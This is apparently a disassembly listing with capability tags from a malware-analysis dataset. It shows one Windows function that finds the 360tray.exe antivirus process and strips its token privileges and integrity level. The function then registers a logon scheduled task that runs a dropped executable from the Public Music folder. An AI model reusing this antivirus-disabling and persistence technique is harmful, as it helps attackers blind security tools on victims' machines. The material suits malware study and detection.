Function at 0x4012c0
Capabilities:
Acquire debug privileges
Enumerate processes
Get session user name
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4143e2
mov eax, dword fs:[0]
push eax
sub esp, 0x5a8
mov eax, dword [0x41e040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [ebp - 0x2f8]
mov dword [ebp - 0x2f8], 8
push eax
mov dword [ebp - 0x2f4], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call dword [sym.imp.mfc140u.dll_CWinApp::InitInstance]
push 0
call dword [sym.imp.mfc140u.dll_AfxEnableControlContainer]
xorps xmm0, xmm0
mov dword [ebp - 0x2bc], 0
push 0x60
movups xmmword [ebp - 0x2cc], xmm0
mov dword [ebp - 0x2b8], 7
call dword [sym.imp.mfc140u.dll_operator_1]
movups xmm0, xmmword [str.C:UsersPublicMusic8588Microsoft1.exe]
mov ecx, eax
mov dword [ebp - 0x2bc], 0x29
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2b8], 0x2f
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x41ada8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x41adb8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x41adc8]
movups xmmword [ecx + 0x30], xmm0
movups xmm0, xmmword [0x41add8]
movups xmmword [ecx + 0x40], xmm0
mov ax, word [0x41ade8]
mov word [ecx + 0x50], ax
xor eax, eax
mov word [ecx + 0x52], ax
call fcn.00401120
movups xmm0, xmmword [str.360tray.exe]
push 0x88
lea eax, [ebp - 0x98]
movups xmmword [ebp - 0xb0], xmm0
push 0
movq xmm0, qword [0x41adfc]
push eax
movq qword [ebp - 0xa0], xmm0
call fcn.00403ca0
push 0x41ae04
call fcn.00402650
push 0x41ae08
call fcn.00402650
push 0x228
xor edi, edi
lea eax, [ebp - 0x528]
push edi
push eax
call fcn.00403ca0
add esp, 0x28
mov dword [ebp - 0x52c], 0x22c
lea esi, [edi + 1]
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x52c]
mov dword [ebp - 0x574], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4014ae
push 0x41ad5c
call fcn.00402650
lea eax, [ebp - 0xb0]
push eax
push 0x41b524
call fcn.00407bb0
add esp, 0xc
test eax, eax
je 0x4014a0
nop dword [eax]
inc esi
cmp esi, 0x7d0
jg 0x401710
lea eax, [ebp - 0x52c]
push eax
push dword [ebp - 0x574]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [ebp - 0x524]
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.00407bb0
add esp, 8
test eax, eax
jne 0x401460
push edi
push str.___Got_target_proc_PID:__d_n
call fcn.00402650
add esp, 8
push 0x41ae0c
call fcn.00402650
add esp, 4
push edi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014dd
push str.___Opened_Target_Handle_n
call fcn.00402650
add esp, 4
push esi
push 0x41ae2c
call fcn.00402650
add esp, 8
lea eax, [ebp - 0x530]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push str.___Opened_Target_Token_Handle_n
call fcn.00402650
add esp, 4
lea eax, [ebp - 0x300]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x2fc]
push 0
push 0
push 0x10
mov dword [ebp - 0x2e8], eax
lea eax, [ebp - 0x2ec]
push eax
push 0
push dword [ebp - 0x530]
mov dword [ebp - 0x2ec], 1
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2e0], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x401577
push str.Failed_n
call fcn.00402650
add esp, 4
push ecx
mov ecx, dword [ebp - 0x530]
mov edx, str.SeDebugPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeChangeNotifyPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeTcbPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeImpersonatePrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeLoadDriverPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeRestorePrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeBackupPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeSecurityPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeSystemEnvironmentPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeIncreaseQuotaPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeTakeOwnershipPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeIncreaseBasePriorityPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeShutdownPrivilege
call fcn.004011d0
mov ecx, dword [ebp - 0x530]
mov edx, str.SeAssignPrimaryTokenPrivilege
call fcn.004011d0
push str.___Removed_All_Privileges_n
call fcn.00402650
add esp, 8
mov dword [ebp - 0x2d0], 0
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x564], 0x20
movq qword [ebp - 0x2d8], xmm0
push eax
mov word [ebp - 0x2d8], 0x101
mov byte [ebp - 0x2d1], 0x10
mov dword [ebp - 0x568], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x568]
push eax
push 0x19
push dword [ebp - 0x530]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x4016db
push str.SetTokenInformation_failed_n
call fcn.00402650
add esp, 4
push str.___Token_Integrity_set_to_Untrusted_n
call fcn.00402650
add esp, 4
mov dword [ebp - 4], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x401717
push eax
push str._nCoInitializeEx_failed:__x
call fcn.00402650
add esp, 8
jmp 0x402366
xor edi, edi
jmp 0x4014ae
push 0
push 0
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
jns 0x401746
push eax
push str._nCoInitializeSecurity_failed:__x
call fcn.00402650
add esp, 8
jmp 0x402360
lea eax, [ebp - 0x53c]
mov dword [ebp - 0x53c], 0
push eax
push 0x416614
push 1
push 0
push 0x416624
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x401782
push eax
push str.Failed_to_create_an_instance_of_ITaskService:__x
call fcn.00402650
add esp, 8
jmp 0x402360
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x584]
push eax
call esi
movups xmm0, xmmword [ebp - 0x584]
lea eax, [ebp - 0x570]
push eax
movups xmmword [ebp - 0x594], xmm0
call esi
movups xmm0, xmmword [ebp - 0x570]
lea eax, [ebp - 0x2dc]
push eax
movups xmmword [ebp - 0x5a4], xmm0
call esi
movups xmm0, xmmword [ebp - 0x2dc]
lea eax, [ebp - 0x2ec]
push eax
movups xmmword [ebp - 0x5b4], xmm0
call esi
mov byte [ebp - 4], 6
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x594]
mov ecx, dword [ebp - 0x53c]
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x5a4]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x5b4]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x2ec]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x2ec]
push eax
call edi
lea eax, [ebp - 0x2dc]
push eax
call edi
lea eax, [ebp - 0x570]
push eax
call edi
lea eax, [ebp - 0x584]
mov byte [ebp - 4], 0
push eax
call edi
test esi, esi
jns 0x40186f
push esi
push str.ITaskService::Connect_failed:__x
call fcn.00402650
mov eax, dword [ebp - 0x53c]
add esp, 8
jmp 0x40235a
push 0xc
mov dword [ebp - 0x538], 0
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 7
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
test esi, esi
je 0x4018c9
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x41b520
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402441
jmp 0x4018cb
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 8
lea edx, [ebp - 0x538]
mov eax, dword [ebp - 0x53c]
push edx
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x574], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401947
mov eax, dword [esi]
test eax, eax
je 0x40191e
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401936
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
mov eax, dword [ebp - 0x574]
add esp, 8
test eax, eax
jns 0x401964
push eax
push str.Cannot_get_Root_Folder_pointer:__x
call fcn.00402650
mov eax, dword [ebp - 0x53c]
add esp, 8
jmp 0x40235a
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 9
test esi, esi
je 0x4019ae
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x41ad80
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x40244b
jmp 0x4019b0
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x538]
push 0
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x3c]
mov byte [ebp - 4], 0
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x401a1b
mov eax, dword [esi]
test eax, eax
je 0x4019f8
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401a10
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
add esp, 8
mov eax, dword [ebp - 0x53c]
lea edx, [ebp - 0x534]
push edx
mov dword [ebp - 0x534], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov ecx, dword [ebp - 0x53c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401a65
push esi
push str.Failed_to_create_a_task_definition:__x
call fcn.00402650
mov eax, dword [ebp - 0x538]
add esp, 8
jmp 0x40235a
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x544]
mov dword [ebp - 0x544], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x401a91
push eax
push str._nCannot_get_identification_pointer:__x
jmp 0x402340
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 0xb
test esi, esi
je 0x401adb
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.Author_Name
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402455
jmp 0x401add
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x544]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov dword [ebp - 0x574], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401b4c
mov ecx, dword [esi]
test ecx, ecx
je 0x401b29
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401b41
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
add esp, 8
mov eax, dword [ebp - 0x544]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x574]
test eax, eax
jns 0x401b6d
push eax
push str._nCannot_put_identification_info:__x
jmp 0x402340
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x548]
mov dword [ebp - 0x548], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
test eax, eax
jns 0x401b99
push eax
push str._nCannot_get_settings_pointer:__x
jmp 0x402340
mov eax, dword [ebp - 0x548]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov ecx, dword [ebp - 0x548]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401bc4
push esi
push str._nCannot_put_setting_info:__x
jmp 0x402340
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x54c]
mov dword [ebp - 0x54c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
jns 0x401bf0
push eax
push str._nCannot_get_trigger_collection:__x
jmp 0x402340
mov eax, dword [ebp - 0x54c]
lea edx, [ebp - 0x550]
push edx
mov dword [ebp - 0x550], 0
push 9
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
mov ecx, dword [ebp - 0x54c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401c2c
push esi
push str._nCannot_create_the_trigger:__x
jmp 0x402340
mov eax, dword [ebp - 0x550]
lea edx, [ebp - 0x540]
push edx
mov dword [ebp - 0x540], 0
push 0x416634
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x550]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401c6a
push esi
push str._nQueryInterface_call_failed_for_ILogonTrigger:__x
jmp 0x402340
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 0xd
test esi, esi
je 0x401cb4
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.Trigger1
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x40245f
jmp 0x401cb6
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x540]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov dword [ebp - 0x574], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401d2b
mov ecx, dword [esi]
test ecx, ecx
je 0x401d02
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401d1a
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
mov eax, dword [ebp - 0x574]
add esp, 8
test eax, eax
jns 0x401d3d
push eax
push str._nCannot_put_the_trigger_ID:__x
call fcn.00402650
add esp, 8
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 0xf
test esi, esi
je 0x401d87
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.2005_01_01T12:05:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402469
jmp 0x401d89
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x540]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov dword [ebp - 0x574], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401dfe
mov ecx, dword [esi]
test ecx, ecx
je 0x401dd5
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401ded
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
mov eax, dword [ebp - 0x574]
add esp, 8
test eax, eax
jns 0x401e10
push eax
push str._nCannot_put_the_start_boundary:__x
call fcn.00402650
add esp, 8
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 0x11
test esi, esi
je 0x401e5a
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.2066_05_02T08:00:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402473
jmp 0x401e5c
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x540]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov dword [ebp - 0x574], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401ed1
mov ecx, dword [esi]
test ecx, ecx
je 0x401ea8
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401ec0
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
mov eax, dword [ebp - 0x574]
add esp, 8
test eax, eax
jns 0x401ee3
push eax
push str._nCannot_put_the_end_boundary:__x
call fcn.00402650
add esp, 8
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x101
push eax
lea eax, [ebp - 0x2b4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 0x13
test esi, esi
je 0x401f4d
xorps xmm0, xmm0
lea eax, [ebp - 0x2b4]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x40247d
jmp 0x401f4f
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x540]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x5c]
mov dword [ebp - 0x574], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401fbe
mov ecx, dword [esi]
test ecx, ecx
je 0x401f9b
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401fb3
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
add esp, 8
mov eax, dword [ebp - 0x540]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x574]
test eax, eax
jns 0x401fdf
push eax
push str._nCannot_add_user_ID_to_logon_trigger:__x
jmp 0x402340
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x554]
mov dword [ebp - 0x554], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
jns 0x40200b
push eax
push str._nCannot_get_Task_collection_pointer:__x
jmp 0x402340
mov eax, dword [ebp - 0x554]
lea edx, [ebp - 0x558]
push edx
mov dword [ebp - 0x558], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
mov ecx, dword [ebp - 0x554]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x402047
push esi
push str._nCannot_create_the_action:__x
jmp 0x402340
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x558]
lea edx, [ebp - 0x55c]
push edx
mov dword [ebp - 0x55c], 0
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x558]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x402090
push esi
push str._nQueryInterface_call_failed_for_IExecAction:__x
jmp 0x402340
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x2b8], 7
lea eax, [ebp - 0x2cc]
push 0xc
cmova eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x530], eax
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 0x15
test esi, esi
je 0x402108
push dword [ebp - 0x530]
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
jne 0x40210a
cmp dword [ebp - 0x530], eax
jne 0x402487
jmp 0x40210a
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x55c]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov dword [ebp - 0x574], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x402179
mov ecx, dword [esi]
test ecx, ecx
je 0x402156
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x40216e
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
add esp, 8
mov eax, dword [ebp - 0x55c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x574]
test eax, eax
jns 0x40219a
push eax
push str._nCannot_set_path_of_executable:__x
jmp 0x402340
mov esi, 8
mov dword [ebp - 0x560], 0
push 0x41b524
mov word [ebp - 0x2dc], si
call edi
mov dword [ebp - 0x2d4], eax
test eax, eax
je 0x402441
movups xmm0, xmmword [ebp - 0x2dc]
lea eax, [ebp - 0x584]
push eax
movups xmmword [ebp - 0x5b4], xmm0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0x18
movups xmm0, xmmword [ebp - 0x584]
push str.S_1_5_32_544
mov word [ebp - 0x2ec], si
movups xmmword [ebp - 0x5a4], xmm0
call edi
mov dword [ebp - 0x2e4], eax
test eax, eax
je 0x402441
mov byte [ebp - 4], 0x19
movups xmm0, xmmword [ebp - 0x2ec]
push 0xc
movups xmmword [ebp - 0x594], xmm0
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0x574], esi
mov byte [ebp - 4], 0x1a
test esi, esi
je 0x40226a
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x41ad80
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402491
jmp 0x40226c
xor esi, esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x574], esi
test esi, esi
je 0x402441
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x560]
movups xmm0, xmmword [ebp - 0x5b4]
mov ecx, dword [ebp - 0x538]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 4
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x5a4]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x594]
push 6
push dword [ebp - 0x534]
movups xmmword [eax], xmm0
push dword [esi]
push ecx
call dword [edx + 0x44]
mov edi, eax
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x402311
mov ecx, dword [esi]
test ecx, ecx
je 0x4022ee
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x402306
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00402cc1
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x2ec]
push eax
call esi
lea eax, [ebp - 0x584]
push eax
call esi
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 0
push eax
call esi
test edi, edi
jns 0x4023ad
push edi
push str._nError_saving_the_Task_:__x
call fcn.00402650
mov eax, dword [ebp - 0x538]
add esp, 8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x534]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2b8]
cmp ecx, 7
jbe 0x4023a6
mov edx, dword [ebp - 0x2cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40239c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40249b
push ecx
push edx
call fcn.00402cc1
add esp, 8
mov eax, 1
jmp 0x402426
push str._n_Success__Task_successfully_registered.
call fcn.00402650
mov eax, dword [ebp - 0x538]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x534]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x560]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2b8]
cmp ecx, 7
jbe 0x402424
mov edx, dword [ebp - 0x2cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40241a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40249b
push ecx
push edx
call fcn.00402cc1
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402a62
mov esp, ebp
pop ebp
ret
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
push 0x8007000e
call fcn.004034d0
call fcn.00405c9c
int3